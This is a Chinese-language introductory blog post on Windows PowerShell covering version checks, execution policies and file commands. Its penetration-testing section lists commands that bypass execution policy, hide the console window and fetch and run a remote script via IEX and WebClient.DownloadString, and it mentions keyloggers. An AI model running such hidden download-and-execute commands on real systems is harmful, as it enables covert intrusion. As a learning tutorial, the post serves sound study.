PowerShell初探
Posted zhengna
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PowerShell初探相关的知识,希望对你有一定的参考价值。
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows 7/Windows 2008 R2和更高版本),使命令行用户和脚本编写者可以利用.NET Framework的强大功能。一旦攻击者可以在一台计算机上运行代码,他们就会下载Powershell脚本文件(.ps1)到磁盘中执行,甚至无需写到磁盘中执行,它可以直接在内存中运行,也可以把PowerShell看做命令行提示符cmd.exe的扩充。
1.我的win7系统没powershell,于是从网上找了一个,下载,安装,重启电脑。
Powershell介绍和安装:https://www.pstips.net/powershell-introduction-and-install.html
2.可以使用Get-Host或者$PSVersionTable.PSVERSION命令查看powershell版本。
PS C:UsersAdministrator> Get-Host Name : ConsoleHost Version : 4.0 InstanceId : f34b1407-b34b-44ed-b5bc-d23b3ab06de1 UI : System.Management.Automation.Internal.Host.InternalHostUserInterface CurrentCulture : zh-CN CurrentUICulture : zh-CN PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy IsRunspacePushed : False Runspace : System.Management.Automation.Runspaces.LocalRunspace PS C:UsersAdministrator> $PSVersionTable.PSVERSION Major Minor Build Revision ----- ----- ----- -------- 4 0 -1 -1
3.执行策略
(1)使用如下命令确定当前的执行策略:Get-ExecutionPolicy
(2)powershell的执行策略主要有以下4种:
- Restricted:脚本不能运行(默认设置)
- RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)
- AllSigned:仅当脚本由受信任的发布者签名才能运行。
- Unrestricted:允许所有的script运行。
(3)使用如下命令设置powershell的执行策略:Set-ExecutionPolicy <policy name>
PS C:UsersAdministrator> Get-ExecutionPolicy Restricted PS C:UsersAdministrator> Set-ExecutionPolicy RemoteSigned 执行策略更改 执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 http://go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? [Y] 是(Y) [N] 否(N) [S] 挂起(S) [?] 帮助 (默认值为“Y”): PS C:UsersAdministrator> Get-ExecutionPolicy RemoteSigned
4.Powershell的常用命令
(1)以文件操作为例
PS C:UsersAdministrator> New-Item whitecellclub -ItemType Directory # 新建目录whitecellclub 目录: C:UsersAdministrator Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 2020-01-13 9:31 whitecellclub PS C:UsersAdministrator> Remove-Item whitecellclub # 删除目录 PS C:UsersAdministrator> New-Item test.txt -ItemType File # 新建文件test 目录: C:UsersAdministrator Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 2020-01-13 9:32 0 test.txt PS C:UsersAdministrator> Set-Content test.txt -Value "hello,world!" # 设置文本内容 PS C:UsersAdministrator> Get-Content test.txt # 显示文本内容 hello,world! PS C:UsersAdministrator> Add-Content test.txt -Value " I love you" # 追加内容 PS C:UsersAdministrator> Get-Content test.txt hello,world! I love you PS C:UsersAdministrator> Clear-Content test.txt # 清除内容 PS C:UsersAdministrator> Get-Content test.txt PS C:UsersAdministrator>
(2)渗透测试常用命令
- 绕过本地权限执行
- PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
- 本地隐藏绕过权限执行脚本
- PowerShell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -Nologo -NonInteractive -NoProfile -File xxx.ps1
- 用IEX下载远程PS1脚本绕过权限执行
- PowerShell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
- 下面对上述命令的参数进行说明:
- -ExecutionPolicy Bypass 绕过执行安全策略
- -WindowsStyle Hidden 隐藏窗口
- -Nologo 启动不显示版权标准的Powershell
- -NonInteractive(-NonI) 非交互模式
- -NoProfile(-NoP) Powershell控制台不加载当前用户的配置文件
- -Noexit 执行后不退出Shell,这在使用键盘记录等脚本时非常重要
- 举例
PS C:UsersAdministrator> "hello hacker" > test.ps1 PS C:UsersAdministrator> . est.ps1 . est.ps1 : 无法加载文件 C:UsersAdministrator est.ps1,因为在此系统上禁止运行脚本。
...
PS C:UsersAdministrator> Powershell.exe -executionpolicy bypass -file test.ps1 ...
hello hacker
...
以上是关于PowerShell初探的主要内容,如果未能解决你的问题,请参考以下文章